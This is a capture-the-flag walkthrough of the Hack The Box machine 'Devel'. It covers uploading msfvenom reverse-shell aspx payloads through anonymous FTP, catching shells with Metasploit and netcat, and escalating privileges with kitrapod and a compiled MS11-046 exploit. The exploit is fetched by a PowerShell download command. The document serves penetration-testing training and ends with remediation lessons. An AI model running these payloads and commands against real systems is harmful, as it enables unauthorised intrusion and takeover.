# Devel

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRUYsLpDCrySB0923F%2F-MNRUodxG3at6-M7fif5%2Fdevel.png?alt=media\&token=7de69db0-972c-49bd-b95c-b7b0cf8b4dbb)

## Nmap Scanning

I scan for open ports, services running on those ports and their versions, and also perform OS detection.

`$ nmap -A -T4 -p- 10.10.10.5 -Pn`

![nmap scan results](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRUYsLpDCrySB0923F%2F-MNRYwRFJlPHmHUvb0y0%2Fimage.png?alt=media\&token=2a6058e6-4283-464f-b083-4d1c75125bf4)

We can see that we have a website running on port 80. Let me open it up.

![Default Webpage for IIS7](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRUYsLpDCrySB0923F%2F-MNRcR--h7ecVJkjaYt3%2Fimage.png?alt=media\&token=94be81ce-eeb2-48c3-b9c7-3be2fe817e3c)

We have a default webpage for IIS7. Viewing the page source reveals nothing interesting either. But I can see the image in the webpage is named **weIcome.png**.

&#x20;

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRcquylit3j-4yr0OZ%2F-MNRfITSFlqjvUoroE4k%2Fimage.png?alt=media\&token=bc5f753c-5b37-41e2-8d7c-3dcbbf99048d)

I am going to use dirbuster to look for hidden directories on this website. Since it,s a Windows web server, under file extensions I will add the appropriate ones (asm,asx,asp,aspx), and also additional ones that could appear i.e. txt,zip,bak,rar. Now let's run it and see what happens.

![Dirbuster](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRcquylit3j-4yr0OZ%2F-MNReAUkN95PScJ7wrzS%2Fimage.png?alt=media\&token=e5098190-f6fb-480d-bef1-9e71e77278b5)

However, dirbuster yields nothing interesting. I stopped it after a few minutes

![Zero results](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRfO_em3bItymaTzce%2F-MNRjGzR2N5KErXB-xFI%2Fimage.png?alt=media\&token=4fce5a59-8d4d-4bd0-a51d-8f3d576c4330)

Since anonymous login is allowed on ftp, let's try it out.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRUYsLpDCrySB0923F%2F-MNRZwFEtItbNZm7vU0I%2Fimage.png?alt=media\&token=1af30ca8-2f9e-4623-bcde-65b20f49cb79)

From the screenshot above, we see that we have some files and a directory. Notice that we have **welcome.png** in here as well. I can probably download or upload files to the server. As a proof of concept, I will download a dog picture from the internet and attempt to upload it.

![Uploaded dog.jpeg](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRfO_em3bItymaTzce%2F-MNRiDSUC5Xhm4jGxKiB%2Fimage.png?alt=media\&token=4ba6bd4b-ad1b-4a98-9489-856aa9f77d47)

Turns out I can do that :)

So when I go to <http://10.10.10.5/dog.jpeg> I can see the picture I uploaded to the server (though it's a bit blurry).

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRfO_em3bItymaTzce%2F-MNRidVGW6ezAQR6BRbd%2Fimage.png?alt=media\&token=20ea595f-8174-4162-a440-a3f817414942)

So this hints to me that we can upload malware to the ftp server, and execute it through the website. We will create one using msfvenom.

### Exploitation with Metasploit

Let's google msfvenom asp cheatsheet. The link below has some interesting findings:

{% embed url="<https://netsec.ws/?p=331>" %}

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRjQd_XDYUpfp9_i1W%2F-MNRk19e2F3vexhIHUlx%2Fimage.png?alt=media\&token=02b9ba8d-ae89-473e-80d0-ca567a04baf3)

We will create a reverse tcp payload to give us a meterpreter shell to the target machine. Make sure to replace LHOST with your htb IP address.

`$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f aspx > shell.aspx`

![Payload generated](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRjQd_XDYUpfp9_i1W%2F-MNRlL4VQ3qKkDSyh2la%2Fimage.png?alt=media\&token=a93ee18b-561d-4182-80ed-b2be88cca565)

We will now open up **msfconsole** and **use exploit/multi/handler** to set up our **listener.**

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRl_u5LJwMmHEWnYZb%2F-MNRm9wbQcTQXxKfMV7M%2Fimage.png?alt=media\&token=ab9a9339-910f-4885-855c-530f46e8b61a)

Make sure to set the payload to **windows/meterpreter/reverse\_tcp**, and set your **LHOST** as well. Once done, we run it. It will be listening for a connection.

Let's connect back to ftp and upload the payload we generated using msfvenom.

![Payload Uploaded](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRl_u5LJwMmHEWnYZb%2F-MNRnQytEMVSYWjp5TmO%2Fimage.png?alt=media\&token=ae8f3816-baf3-4312-a354-3832c6ca22d1)

So now let's navigate to <http://10.10.10.5/shell.aspx> in order to make the server execute the file we just uploaded. Once we do that, we receive a connection back on our listener.

![Session Opened](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRnqDzOuLLtrEUyIYv%2F-MNRoJXvG4VnAW9sIN3N%2Fimage.png?alt=media\&token=7aa443d8-06ff-4871-96b3-cf17ffef6735)

When we run getuid, we see that we are not Authority\System. We therefore can't run **hashdump** or other commands requiring admin privileges. Let me see if we can escalate our privileges using **getsystem** (it can sometimes crash a machine).

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRoUJ2-SwR6_HNxV3y%2F-MNRp9rmfYGsuNHKlzn9%2Fimage.png?alt=media\&token=cf56699e-97f9-4374-8a24-5ccc56818c00)

Nope. It didn't work.

#### Privilege Escalation

We will use a post-exploitation module in metasploit to try to escalate our privileges. First, let's background our session then search suggester.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRoUJ2-SwR6_HNxV3y%2F-MNRptaBas5uP_rKukn6%2Fimage.png?alt=media\&token=2bf6d13d-2989-453f-a1cb-24af7d106d2c)

Find below the description for the module we have selected.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRoUJ2-SwR6_HNxV3y%2F-MNRqIRGC6SZV--bsJm3%2Fimage.png?alt=media\&token=1575ae50-a9b5-4685-b03c-c34cb27ac630)

This particular module only requires a session (which we already have) and performs post-exploitation enumeration for us.&#x20;

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRoUJ2-SwR6_HNxV3y%2F-MNRrBFC9a0IE_oHi5B2%2Fimage.png?alt=media\&token=013f2d97-1b13-4bb1-9a86-62123cc3e7db)

We will use the one highlighted on the above screenshot. Make sure to set your session, lhost, and payload. Also ensure your listener is running on another tab (very important). I edited my lport to 4445 since my first listener was 4444.

![using windows/local/ms10\_015\_kitrapod](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRoUJ2-SwR6_HNxV3y%2F-MNRrg0HTfLpcBEQbqWY%2Fimage.png?alt=media\&token=db3d10c1-03df-4700-b264-4b82fee43a35)

&#x20;**Disclaimer:** I edited my lport to 4445 since my first listener was 4444.

Now let's run it.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNRoUJ2-SwR6_HNxV3y%2F-MNRulWAutKpBWiOitnK%2Fimage.png?alt=media\&token=120f7cd7-1748-4c9c-be20-5a65a54a1dad)

Success!!! We are now Authority\System. We can go ahead and retrieve both the user and root flags.

### Exploitation without Metasploit

So we know that we can upload malware to the ftp server and execute it through the website. We will use msfvenom to create our payload. Since it's a Microsoft IIS server, we will search for how to generate an aspx payload on the link below.

{% embed url="<https://netsec.ws/?p=331>" %}

We will use a general reverse shell since meterpreter is not allowed in the OSCP.

`$ msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=10.10.14.3 LPORT=1234 -o reverse-shell.aspx`

![Payload Generation ](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNWd61yhHPo8adzEGlI%2F-MNWh08zyf6LAeikQuU9%2Fimage.png?alt=media\&token=6f11910b-a1bf-48a9-9af9-4906252fb267)

We now have to upload the payload to the ftp server and confirm it's uploaded.

![Payload Uploaded](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNWd61yhHPo8adzEGlI%2F-MNWhonfGhmuvVEUjVJB%2Fimage.png?alt=media\&token=28c0fc25-1285-4056-8200-4b55f8959f15)

Once we do that, we set up a listener on our attack machine using netcat.

`$ nc -nlvp 1234`

Now let's execute the payload by navigating to <http://10.10.10.5/reverse-shell.aspx> and check if our listener has received a connection back.&#x20;

![We got a shell](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNWhyucEJssK6YZgja9%2F-MNWitDtm8zYAmGj6T3R%2Fimage.png?alt=media\&token=f923e9b0-3aa2-4c0e-bc4f-94f368f73063)

Perfect! We now have a shell and it's running as **iis apppool\web.**

&#x20;Let's change the directory to the **Users** directory where the flags are stored.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNWj70QfuRdMfPUddRQ%2F-MNWjXgR8dDI-eK3swZZ%2Fimage.png?alt=media\&token=8ea1aad5-be46-4adf-8961-4bb55d3bc819)

We can't access the **Administrator** and **babis** directories since we don't have permission.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNWj70QfuRdMfPUddRQ%2F-MNWjq98vr1gNahNH0Sq%2Fimage.png?alt=media\&token=3ef340d5-df45-44bc-a6c0-a8b6053141b6)

Let's learn more about our OS to see if we can escalate our privileges. Let's run the command **systeminfo.**

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNWj70QfuRdMfPUddRQ%2F-MNWl-zQZB-B6vMcPa3I%2Fimage.png?alt=media\&token=6e1cbfde-eb84-401f-bcba-b8f40a7387c5)

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNWj70QfuRdMfPUddRQ%2F-MNWl6hcUmCJRhUH7m5g%2Fimage.png?alt=media\&token=3663f391-d1b6-4bd6-8cb3-a44865b2fcd8)

&#x20;A hotfix is code (sometimes called a [patch](https://searchenterprisedesktop.techtarget.com/definition/patch)) that fixes a [bug](https://searchsoftwarequality.techtarget.com/definition/bug) in a product.

We’re on a Microsoft Windows 7 build 7600 system. It’s fairly old and does not seem to have been updated, so it’s probably vulnerable to a bunch of exploits. Let's google some.

We find an interesting exploit (MS11-046) with documentation on how to compile the source code. We will go with that one.

{% embed url="<https://www.exploit-db.com/exploits/40564>" %}

&#x20;Get the **EDB-ID** from the web page, so that we can use it to find the exploit in **searchsploit**. The EDB-ID is 40564. We find it at the top left corner of the web page.

Let's  update **searchsploit** to ensure we have all the latest vulnerabilities.

`$ searchsploit -u`

&#x20;Use the **-m** flag to look for the exploit **40564** and copy it to the current directory.

`$ searchsploit -m 40564`

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNWj70QfuRdMfPUddRQ%2F-MNWnvKdcCuucoeYVAFL%2Fimage.png?alt=media\&token=e6308e24-80db-47e7-9510-bfc0a74db3ec)

&#x20;Now, we need to compile the exploit. The compilation instructions are in the [exploitdb webpage](https://www.exploit-db.com/exploits/40564).

![Compilation instructions](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNWj70QfuRdMfPUddRQ%2F-MNWoPisaHiY2peOYMU3%2Fdocumentation.png?alt=media\&token=67e4cada-0173-4027-bcf4-24833af35830)

If you don’t have mingw-w64 installed, install it.

`$ sudo apt install mingw-w64`

Compile it using the listed command below.

```
$ i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32
```

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNWqVtu2LhkskrtfLpO%2F-MNWwv3QoTJVoUdMKbMR%2Fimage.png?alt=media\&token=39ef239c-3f99-4bb6-9f60-0034dd6aaef7)

Alright, we have a compiled exploit. Now what is left is to transfer the exploit to the target (Devel) machine.

Start up a server on the attack (Kali) machine.

`$ python -m SimpleHTTPServer 9005`

Netcat doesn’t seem to be installed on Windows, but powershell is. So, we’ll use it to transfer the file from our server to a directory we can write to.

`powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.3:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"`

Make sure to replace the IP with your htb IP and port number with the one you used on your SimpleHTTPServer.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNWx3PaLLKFNwktASoI%2F-MNWzKqBQgnCrD_6Voj4%2Fimage.png?alt=media\&token=9d85ddd0-23ed-4bc0-bac9-17085abeb357)

The file is now in the Downloads directory. Let's execute it and check if the exploit worked and escalated our privileges.

![Success](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MNWx3PaLLKFNwktASoI%2F-MNWzcMwIMAZJ-y4UFjC%2Fimage.png?alt=media\&token=e89a987c-afa4-4fd6-9ca4-ce60aaa67b54)

We have system! Now let's go retrieve both the user and root flags.

## Lessons Learnt

There were essentially two vulnerabilities that allowed us to gain system level access to the machine.

The first vulnerability was insecure configuration of the FTP server that allowed us to gain an initial foothold. Our initial way in was through the anonymous login. Then we found out that the FTP server shared the root directory of the web server. Therefore, when we uploaded a reverse shell in the FTP server, we were able to run it using the browser. This gave us a low privileged shell on the machine.

The user should have done two things to avoid this vulnerability:

1. Disabled anonymous access to the FTP server.
2. If anonymous access was necessary, the user should have configured the FTP server to only allow downloads. This way the attacker would not have been able to upload files.

The second vulnerability was a Windows kernel vulnerability that allowed us to elevate privileges. The user should have updated and patched his system when the vulnerability was publicly disclosed and a security update was made available.
